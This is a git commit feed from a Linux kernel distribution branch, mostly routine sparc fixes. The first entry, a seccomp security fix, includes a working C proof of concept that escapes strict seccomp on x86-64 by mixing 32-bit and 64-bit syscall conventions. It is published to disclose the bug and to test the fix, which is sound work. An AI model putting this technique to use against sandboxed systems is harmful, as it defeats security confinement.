<feed xmlns='http://www.w3.org/2005/Atom'>
<title>kernel.git/arch/sparc/include, branch linux-2.6.28.y</title>
<subtitle>Hosts the 0x221E linux distro kernel.
</subtitle>
<id>https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y</id>
<link rel='self' href='https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y'/>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/'/>
<updated>2009-03-17T00:32:21Z</updated>
<entry>
<title>x86-64: seccomp: fix 32/64 syscall hole</title>
<updated>2009-03-17T00:32:21Z</updated>
<author>
<name>Roland McGrath</name>
</author>
<published>2009-02-28T07:25:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=1ab4bad21786384ff68dc6576d021acd4e42d8ce'/>
<id>urn:sha1:1ab4bad21786384ff68dc6576d021acd4e42d8ce</id>
<content type='text'>
commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include &lt;assert.h&gt;
	#include &lt;inttypes.h&gt;
	#include &lt;stdio.h&gt;
	#include &lt;linux/prctl.h&gt;
	#include &lt;sys/stat.h&gt;
	#include &lt;unistd.h&gt;
	#include &lt;asm/unistd.h&gt;

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot &lt; (1UL &lt;&lt; 32));
	  asm ("int $0x80 # %0 &lt;- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 &lt;- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&amp;st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -&gt; st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath &lt;roland@redhat.com&gt;
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>sparc: We need to implement arch_ptrace_stop().</title>
<updated>2008-12-17T05:55:44Z</updated>
<author>
<name>David S. Miller</name>
</author>
<published>2008-12-17T05:55:44Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=878a5535957b563c447d32866a9e606c55fef091'/>
<id>urn:sha1:878a5535957b563c447d32866a9e606c55fef091</id>
<content type='text'>
In order to always provide fully synchronized state to the debugger,
we might need to do a synchronize_user_stack().

A pair of hooks, arch_ptrace_stop_needed() and arch_ptrace_stop(),
exist to handle this kind of situation.  It was created for
the sake of IA64.

Use them, to flush the kernel side cached register windows
to the user stack, when necessary.

Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc: asm/bitops.h should define __fls</title>
<updated>2008-12-04T00:04:52Z</updated>
<author>
<name>Rusty Russell</name>
</author>
<published>2008-12-04T00:04:52Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e8e8e80ee047b131a0cd6a3e96e0f8dfa14f6d99'/>
<id>urn:sha1:e8e8e80ee047b131a0cd6a3e96e0f8dfa14f6d99</id>
<content type='text'>
bitops_64.h includes the generic one; pretty sure 32 should too.

(Found by using __fls in generic code and breaking sparc defconfig build:
 thanks Stephen and linux-next!)

Signed-off-by: Rusty Russell &lt;rusty@rustcorp.com.au&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>remove __ARCH_WANT_COMPAT_SYS_PTRACE</title>
<updated>2008-11-30T19:00:15Z</updated>
<author>
<name>Christoph Hellwig</name>
</author>
<published>2008-11-25T07:10:03Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=96b8936a9ed08746e47081458a5eb9e43a751e24'/>
<id>urn:sha1:96b8936a9ed08746e47081458a5eb9e43a751e24</id>
<content type='text'>
All architectures now use the generic compat_sys_ptrace, as should every
new architecture that needs 32bit compat (if we'll ever get another).

Remove the now superflous __ARCH_WANT_COMPAT_SYS_PTRACE define, and also
kill a comment about __ARCH_SYS_PTRACE that was added after
__ARCH_SYS_PTRACE was already gone.

Signed-off-by: Christoph Hellwig &lt;hch@lst.de&gt;
Acked-by: David S. Miller &lt;davem@davemloft.net&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>sparc64: wire up accept4()</title>
<updated>2008-11-20T02:49:57Z</updated>
<author>
<name>David Miller</name>
</author>
<published>2008-11-19T23:36:15Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=f8b2256e9c11a825899345de06b39a4bdf44911d'/>
<id>urn:sha1:f8b2256e9c11a825899345de06b39a4bdf44911d</id>
<content type='text'>
This adds the sparc syscall hookups.

Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
Cc: Ulrich Drepper &lt;drepper@redhat.com&gt;
Cc: Michael Kerrisk &lt;mtk.manpages@gmail.com&gt;
Signed-off-by: Andrew Morton &lt;akpm@linux-foundation.org&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
<entry>
<title>sparc: Fix tty compile warnings.</title>
<updated>2008-11-13T07:51:54Z</updated>
<author>
<name>Robert Reif</name>
</author>
<published>2008-11-13T07:51:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e64ed0225bd82d4c108c9f78f46070cfade14fac'/>
<id>urn:sha1:e64ed0225bd82d4c108c9f78f46070cfade14fac</id>
<content type='text'>
This patch fixes tty compile warnings as sugested by Alan Cox:

CC drivers/char/n_tty.o
drivers/char/n_tty.c: In function normal_poll:
drivers/char/n_tty.c:1555: warning: array subscript is above array bounds
drivers/char/n_tty.c:1564: warning: array subscript is above array bounds
drivers/char/n_tty.c: In function read_chan:
drivers/char/n_tty.c:1269: warning: array subscript is above array bounds
CC drivers/char/tty_ioctl.o
drivers/char/tty_ioctl.c: In function set_termios:
drivers/char/tty_ioctl.c:533: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:537: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c: In function tty_mode_ioctl:
drivers/char/tty_ioctl.c:662: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:892: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:896: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:577: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:928: warning: array subscript is above array 
bounds
drivers/char/tty_ioctl.c:934: warning: array subscript is above array 
bounds

Signed-off-by: Robert Reif &lt;reif@earthlink.net&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc64: Kill annoying warning when building compat_binfmt_elf.o</title>
<updated>2008-11-02T07:15:38Z</updated>
<author>
<name>David S. Miller</name>
</author>
<published>2008-11-02T07:15:38Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=a1995a6599044076e2e13512ffbcecc49865e63e'/>
<id>urn:sha1:a1995a6599044076e2e13512ffbcecc49865e63e</id>
<content type='text'>
GCC warns because some tests against 32-bit values never evaluate to
true due to how TASK_SIZE is defined.

I always wanted to mimick powerpc's definition of TASK_SIZE, which
is simply TASK_SIZE_OF(current) and that also fixes the warning.

Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc32: kernel/trace/trace.c wants DIE_OOPS</title>
<updated>2008-11-02T04:44:01Z</updated>
<author>
<name>Al Viro</name>
</author>
<published>2008-11-02T04:44:01Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e68f0aee89ebb93aaeedf064e0291d3c19520f7e'/>
<id>urn:sha1:e68f0aee89ebb93aaeedf064e0291d3c19520f7e</id>
<content type='text'>
Signed-off-by: Al Viro &lt;viro@zeniv.linux.org.uk&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc64: Fix __copy_{to,from}_user_inatomic defines.</title>
<updated>2008-11-02T04:41:40Z</updated>
<author>
<name>Hugh Dickins</name>
</author>
<published>2008-11-02T04:41:40Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=145e1c0023585e0e8f6df22316308ec61c5066b2'/>
<id>urn:sha1:145e1c0023585e0e8f6df22316308ec61c5066b2</id>
<content type='text'>
Alexander Beregalov reports oops in __bzero() called from
copy_from_user_fixup() called from iov_iter_copy_from_user_atomic(),
when running dbench on tmpfs on sparc64: its __copy_from_user_inatomic
and __copy_to_user_inatomic should be avoiding, not calling, the fixups.

Signed-off-by: Hugh Dickins &lt;hugh@veritas.com&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
<entry>
<title>sparc: use the new byteorder headers</title>
<updated>2008-10-29T22:36:00Z</updated>
<author>
<name>Harvey Harrison</name>
</author>
<published>2008-10-29T22:36:00Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=398cf93a394a6f2e42b8e61b1071fc32ecf18647'/>
<id>urn:sha1:398cf93a394a6f2e42b8e61b1071fc32ecf18647</id>
<content type='text'>
Signed-off-by: Harvey Harrison &lt;harvey.harrison@gmail.com&gt;
Signed-off-by: David S. Miller &lt;davem@davemloft.net&gt;
</content>
</entry>
</feed>
